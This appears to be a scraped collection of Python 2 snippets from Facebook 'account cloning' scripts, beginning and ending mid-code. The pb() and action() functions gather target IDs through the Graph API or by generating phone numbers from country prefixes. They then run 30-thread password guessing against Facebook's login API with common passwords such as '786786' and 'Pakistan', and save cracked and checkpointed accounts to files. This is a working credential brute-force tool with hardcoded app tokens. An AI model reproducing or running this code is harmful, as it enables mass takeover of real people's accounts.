                          `·.,¸    ¸,.-–.     .·´ 
                             ·;~-.¸     ¸,.;´
      
                       Checkpoint ID Open After 7 Days

•\033[1;93m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.
: \033[1;96m ....sarif  chora alex....... \033[1;93m :
•\033[1;93m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.' 
                WhatsApp Num
              \033[1;96m +917890345599"""
	
	raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]")
	menu()
Exemple #45
0
def pb():
    bp = raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬   ')
    if bp == '':
        print(R + 'Select a valid option !')
        pb()
    elif bp == '1':
        cb()
        print(logo)
        r = requests.get(
            'https://graph.facebook.com/me/friends?access_token=' + tb)
        z = json.loads(r.text)
        for s in z['data']:
            id.append(s['id'])
    elif bp == '2':
        cb()
        print(logo)
        idt = raw_input(S + '[☆] ' + G + 'Put Public User ID/User Name: ' + W +
                        '')
        cb()
        print(logo)
        try:
            jok = requests.get('https://graph.facebook.com/' + idt +
                               '?access_token=' + tb)
            op = json.loads(jok.text)
            psb(S + '[☆]' + G + ' Account  Name: ' + W + op['name'])
        except KeyError:
            print(R + ' ID not found !')
            raw_input(R + ' Back')
            pak()
        r = requests.get('https://graph.facebook.com/' + idt +
                         '/friends?access_token=' + tb)
        z = json.loads(r.text)
        for i in z['data']:
            id.append(i['id'])
    elif bp == '3':
        cb()
        print(logo)
        try:
            idlist = raw_input(S + '[☆] ' + R + 'Enter File Path: ' + G + '')
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())
        except IOError:
            print(R + ' File Not Fount !')
            raw_input(R + ' Back')
            pak()
    elif bp == '0':
        menu()
    else:
        print(R + ' Select a valid option !')
        pb()
    print(S + '[☆]' + P + ' Total Friends: ' + W + str(len(id)))
    psb(S + '[☆]' + S + ' To stop process  click on CTRL ~ Z')
    print
    print(S + 50 * '-')
    print

    def main(arg):
        global cps, oks
        user = arg
        try:
            h = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + tb)
            j = json.loads(h.text)
            ps1 = ('786786')
            dt = urllib.urlopen(
                'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
            )
            k = json.load(dt)
            if 'www.facebook.com' in k['error_msg']:
                print(S + '[CP] ♡ ' + user + ' ♡ ' + ps1)
                cps.append(user + ps1)
            else:
                if 'access_token' in k:
                    print(G + '[OK] ♡ ' + user + ' ♡ ' + ps1)
                    oks.append(user + ps1)
                else:
                    ps2 = (j['first_name'] + '123')
                    dt = urllib.urlopen(
                        'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                        + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
                    )
                    k = json.load(dt)
                    if 'www.facebook.com' in k['error_msg']:
                        print(S + '[CP] ♡ ' + user + ' ♡ ' + ps2)
                        cps.append(user + ps2)
                    else:
                        if 'access_token' in k:
                            print(G + '[OK] ♡ ' + user + ' ♡ ' + ps2)
                            oks.append(user + ps2)
                        else:
                            ps3 = (j['first_name'] + '786')
                            dt = urllib.urlopen(
                                'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                                + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
                            )
                            k = json.load(dt)
                            if 'www.facebook.com' in k['error_msg']:
                                print(S + '[CP] ♡ ' + user + ' ♡ ' + ps3)
                                cps.append(user + ps3)
                            else:
                                if 'access_token' in k:
                                    print(G + '[OK] ♡ ' + user + ' ♡ ' + ps3)
                                    oks.append(user + ps3)
                                else:
                                    ps4 = (j['first_name'] + '12345')
                                    dt = urllib.urlopen(
                                        'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                                        + (user) + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
                                    )
                                    k = json.load(dt)
                                    if 'www.facebook.com' in k['error_msg']:
                                        print(S + '[CP] ♡ ' + user + ' ♡ ' +
                                              ps4)
                                        cps.append(user + ps4)
                                    else:
                                        if 'access_token' in k:
                                            print(G + '[OK] ♡ ' + user +
                                                  ' ♡ ' + ps4)
                                            oks.append(user + ps4)
                                        else:
                                            ps5 = ('Pakistan')
                                            dt = urllib.urlopen(
                                                'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                                                + (user) +
                                                '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
                                            )
                                            k = json.load(dt)
                                            if 'www.facebook.com' in k[
                                                    'error_msg']:
                                                print(S + '[CP] ♡ ' + user +
                                                      ' ♡ ' + ps5)
                                                cps.append(user + ps5)
                                            else:
                                                if 'access_token' in k:
                                                    print(G + '[OK] ♡ ' +
                                                          user + ' ♡ ' + ps5)
                                                    oks.append(user + ps5)
                                                else:
                                                    ps6 = (j['first_name'] +
                                                           'khan')
                                                    dt = urllib.urlopen(
                                                        'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='
                                                        + (user) +
                                                        '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
                                                    )
                                                    k = json.load(dt)
                                                    if 'www.facebook.com' in k[
                                                            'error_msg']:
                                                        print(S + '[CP] ♡ ' +
                                                              user + ' ♡ ' +
                                                              ps6)
                                                        cps.append(user + ps6)
                                                    else:
                                                        if 'access_token' in k:
                                                            print(G +
                                                                  '[OK] ♡ ' +
                                                                  user +
                                                                  ' ♡ ' + ps6)
                                                            oks.append(user +
                                                                       ps6)
        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print
    print(S + 50 * '-')
    print
    print(S + 'Process has been completed CP ID Open After 7 Days ')
    print(Y + 'Total ' + G + 'OK' + S + '/' + P + 'CP' + S + ' = ' + G +
          str(len(oks)) + S + '/' + R + str(len(cps)))
    print(S + 'xidi pakistani')
    print
    raw_input(R + 'Back')
    os.system('python2 xidi123.py')
Exemple #46
0
def action():
    global cpb
    global oks
    lovehackerx = raw_input('\n\x1b[1;94mChoose an Option  > > \x1b[1;95m')
    if lovehackerx == '':
        print '\x1b[1;91m[!] Fill in correctly'
        action()
    elif lovehackerx == '1':
        os.system('clear')
        print logo
        print '\x1b[1;93m175,165,191, 192, 193, 194, 195, 196, 197, 198, 199'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+880'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '2':
        os.system('clear')
        print logo
        print '\x1b[1;93m555,786, 815, 315, 256, 401, 718, 917, 202, 701, 303, 703, 803, 999, 708'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+1'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '3':
        os.system('clear')
        print logo
        print '\x1b[1;93m715,785,765,725,745,735,737, 706, 748, 783, 739, 759, 790'
        try:
            c = raw_input(' \x1b[1;94mchoose code  : ')
            k = '+44'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '4':
        os.system('clear')
        print logo
        print '\x1b[1;93m905,975,755,855,954, 897, 967, 937, 700, 727, 965, 786, 874, 856, 566, 590, 527, 568, 578'
        try:
            c = raw_input(' \x1b[1;94mchoose code  : ')
            k = '+91'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '5':
        os.system('clear')
        print logo
        print '\x1b[1;93m127, 179, 117, 853, 318, 219, 834, 186, 479, 113'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+55'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '6':
        os.system('clear')
        print logo
        print '\x1b[1;93m11, 12, 19, 16, 15, 13, 14, 18, 17'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+81'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '7':
        os.system('clear')
        print logo
        print '\x1b[1;93m1, 2, 3, 4, 5, 6, 7, 8, 9'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+82'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '8':
        os.system('clear')
        print logo
        print '\x1b[1;93m311,323,385,388, 390, 391, 371, 380, 368, 386, 384, 332, 344, 351, 328'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+39'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '9':
        os.system('clear')
        print logo
        print '\x1b[1;93m655,755,60, 76, 73, 64, 69, 77, 65, 61, 75, 68'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+34'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '10':
        os.system('clear')
        print logo
        print '\x1b[1;93m66, 69, 78, 79, 60, 72, 67, 53, 51'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+48'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '11':
        os.system('clear')
        print logo
        print '\x1b[1;93m01, to , 49'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+923'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '12':
        os.system('clear')
        print logo
        print '\x1b[1;93m81,83,85,84,89,'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+880'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '13':
        os.system('clear')
        print logo
        print '\x1b[1;97m(leave the first four digits and the last seven digits of any phone number in this country.Write the remaining digits here.69,693,698,694,695'
        try:
            c = raw_input('\x1b[1;93m choose code  : ')
            k = '+3069'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '14':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.455'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+61'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '15':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first one digits and the last seven digits of any phone number in this country.Write the remaining digits here.555,'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+1'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '16':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.1355,1555,1855,'
        try:
            c = raw_input(' \x1b[1;94mchoose code  : ')
            k = '+86'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '17':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.2,3,4,5,6,7,8'
        try:
            c = raw_input(' \x1b[1;94mchoose code  : ')
            k = '+45'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '18':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.65,70,73,74,76,77'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+33'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '19':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.151,152,153,155,157,159,160,162,179,163,174,163'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+49'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '20':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.11,12,13,14,15,16,17,18,19'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+60'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '21':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.71,72,73,74,75,76,77,78'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+94'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '22':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.55,54,53,52,50'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+90'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '23':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first tree digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,55,58,54,56'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+971'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '24':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,51,52,53,54,55,56,57,58,'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+966'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '25':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here. 52,55'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+972'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '26':
        os.system('clear')
        print logo
        print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.990,915,901,933,938,902'
        try:
            c = raw_input('\x1b[1;94m choose code  : ')
            k = '+98'
            idlist = '.txt'
            for line in open(idlist, 'r').readlines():
                id.append(line.strip())

        except IOError:
            print '[!] File Not Found'
            raw_input('\n[ Back ]')
            blackmafiax()

    elif lovehackerx == '0':
        login()
    else:
        print '[!] Fill in correctly'
        action()
    xxx = str(len(id))
    jalan('\x1b[1;94m[+] Total Numbers: ' + xxx)
    time.sleep(0.05)
    jalan(
        ' \x1b[1;95m[\xf0\x9f\x92\xa5]Plz Wait Cloned Accounts Will Appear Here'
    )
    time.sleep(0.05)
    jalan('\x1b[1;91m[!] To Stop Process Press CTRL Then Press z')
    time.sleep(0.05)
    print 44 * '-'

    def main(arg):
        user = arg
        try:
            os.mkdir('save')
        except OSError:
            pass

        try:
            pass1 = user
            data = br.open(
                'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='
                + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm'
            )
            q = json.load(data)
            if 'access_token' in q:
                print '\x1b[1;92m{Hacked 100%}  ' + k + c + user + '  \xe3\x80\x8b  ' + pass1 + '\n' + '\n'
                okb = open('save/successfull.txt', 'a')
                okb.write(k + c + user +
                          '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 +
                          '\n')
                okb.close()
                oks.append(c + user + pass1)
            elif 'www.facebook.com' in q['error_msg']:
                print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + '  \xe3\x80\x8b  ' + pass1 + '\n'
                cps = open('save/checkpoint.txt', 'a')
                cps.write(k + c + user +
                          '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 +
                          '\n')
                cps.close()
                cpb.append(c + user + pass1)
            else:
                pass2 = '786786'
                data = br.open(
                    'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='
                    + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm'
                )
                q = json.load(data)
                if 'access_token' in q:
                    print '\x1b[1;92m{Hacked 100%}  ' + k + c + user + '  \xe3\x80\x8b  ' + pass2 + '\n' + '\n'
                    okb = open('save/successfull.txt', 'a')
                    okb.write(k + c + user +
                              '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                              pass2 + '\n')
                    okb.close()
                    oks.append(c + user + pass2)
                elif 'www.facebook.com' in q['error_msg']:
                    print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + '  \xe3\x80\x8b  ' + pass2 + '\n'
                    cps = open('save/checkpoint.txt', 'a')
                    cps.write(k + c + user +
                              '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                              pass2 + '\n')
                    cps.close()
                    cpb.append(c + user + pass2)
                else:
                    pass3 = 'Pakistan'
                    data = br.open(
                        'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='
                        + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm'
                    )
                    q = json.load(data)
                    if 'access_token' in q:
                        print '\x1b[1;92m{Hacked 100%}  ' + k + c + user + '  \xe3\x80\x8b  ' + pass3 + '\n' + '\n'
                        okb = open('save/successfull.txt', 'a')
                        okb.write(k + c + user +
                                  '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                                  pass3 + '\n')
                        okb.close()
                        oks.append(c + user + pass3)
                    elif 'www.facebook.com' in q['error_msg']:
                        print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + '  \xe3\x80\x8b  ' + pass3 + '\n'
                        cps = open('save/checkpoint.txt', 'a')
                        cps.write(k + c + user +
                                  '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                                  pass3 + '\n')
                        cps.close()
                        cpb.append(c + user + pass3)
                    else:
                        pass4 = user
                        data = br.open(
                            'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email='
                            + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm'
                        )
                        q = json.load(data)
                        if 'access_token' in q:
                            print '\x1b[1;92m{Hacked 100%}  ' + k + c + user + '  \xe3\x80\x8b  ' + pass4 + '\n' + '\n'
                            okb = open('save/successfull.txt', 'a')
                            okb.write(
                                k + c + user +
                                '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                                pass4 + '\n')
                            okb.close()
                            oks.append(c + user + pass4)
                        elif 'www.facebook.com' in q['error_msg']:
                            print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + '  \xe3\x80\x8b  ' + pass4 + '\n'
                            cps = open('save/checkpoint.txt', 'a')
                            cps.write(
                                k + c + user +
                                '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' +
                                pass4 + '\n')
                            cps.close()
                            cpb.append(c + user + pass4)
        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print 44 * '-'
    print '\x1b[1;91mProcess Has Been Completed ....'
    print '\x1b[1;93mTotal OK/CP : ' + str(len(oks)) + '/' + str(len(cpb))
    print '\x1b[1;96mCP File Has Been Saved : save/checkpoint.txt'
    print '\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\